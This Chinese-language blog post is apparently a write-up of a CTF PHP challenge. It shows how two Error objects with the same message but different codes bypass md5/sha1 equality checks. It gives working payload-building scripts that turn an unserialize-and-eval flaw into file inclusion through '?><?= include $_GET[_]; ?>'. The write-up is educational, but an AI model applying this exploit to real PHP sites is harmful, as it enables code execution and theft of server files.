Gentle_knife's Studio.

Exception,Error 类绕过md5、sha1—— [极客大挑战 2020]greatphp

Word count: 909Reading time: 3 min
2025/07/26
loading

Exception,Error 类绕过md5、sha1—— [极客大挑战 2020]greatphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

看到两个强比较,以为是强碰撞,但是看到后面有过滤,还需要执行命令,不对,去原生类里面找。

[php安全]原生类的利用 - Aur0ra* - 博客园

PHP原生类在安全方面的利用总结-安全KER - 安全资讯平台

Error 和 Exception 因为有 tostring 魔术方法,将他们反序列化后只显 message 不显示错误代码,所以在同一行反序列化,md5 和 sha1 就可以绕过。

Error 类是所有 PHP 内部错误类的基类,

源码含有以下两行:

1
2
3
4
5
6
7
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )

message 是错误消息,code 是错误代码。

1
public __toString ( ) : string

Exception 是所有异常的基类,关键部分同上。

当我们 new 了 error 类,并 echo 了这个对象,触发类的 tostring 方法:

1
2
3
<?php
$a = new Error("payload",1);
echo $a;

输出如下:

1
2
3
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

会打印 message,file 和Stack trace,并不会打印 code。也就是说只要在同一个文件里 message 相同,那么打印出来的字符串就会完全相同,自然而然 md5 值就相同。

回到题目,因为 md5($a)=md5(string($a)),可以触发类的 tosring 方法,所以我们可以让 code 不同,其他部分相同,来绕过这里的本身不同但是 md5 和 sha1 相同。

了解了以上知识点,我们会写出以下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
class SYCLOVER
{
public $syc;
public $lover;

}


$answer = new SYCLOVER;
$answer -> lover = new Error('echo "__DIR__:" . __DIR__;',"114514");
$answer -> syc = new Error('echo "__DIR__:" . __DIR__;',"2");
echo urlencode(serialize($answer));

但是拿到输出结果,会发现并没有回显,因为 tostring 的结果是包含行号的,这里我们需要把两个赋值属性放在同一行。

由于我们需要保证两个属性的 message 始终一致,还需要对 message 中的命令不断进行修改,所以较好的办法是提前赋值变量。

1
2
3
4
5
6
7
8
class SYCLOVER
{
public $syc;
public $lover;
}
$a = '?><?= include $_GET[_]; ?>';
$payload = new SYCLOVER();
$payload->lover = new Error($a);$payload-> syc = new Error($a,"1");

关于 payload 中$a = '?><?= include $_GET[_]; ?>';的原因,在看了 wp 和追问了 ai 后,我的解释是:

由于题目中的正则表达式过滤了()括号,而 PHP 中的函数调用需要括号,在不能写一句话木马之后,很自然的就想起 include。

这里我将$a 换成 echo 123; 无回显,百思不得其解,其实一看就明白了。eval 里的是这样一个字符串:

1
2
3
Error: echo 123; in /usercode/file.php:2
Stack trace:
#0 {main}

eval 里面必须是合法的 php 代码,这样的显然是不合法的,只会报错,而题目里已经设置不显示报错信息了。

因此我们要在字符串里面塞入一个自成一体的 php 脚本。这样 eval 里面就是:

1
2
3
Error: ?><?= include $_GET[_]; ?> in /usercode/file.php:2
Stack trace:
#0 {main}

这样我们就可以用 include 来召唤 flag 了。

此处?>是用来闭合的,经测试不写这个会报错unexpected ‘<’.S

CATALOG
  1. 1. Exception,Error 类绕过md5、sha1—— [极客大挑战 2020]greatphp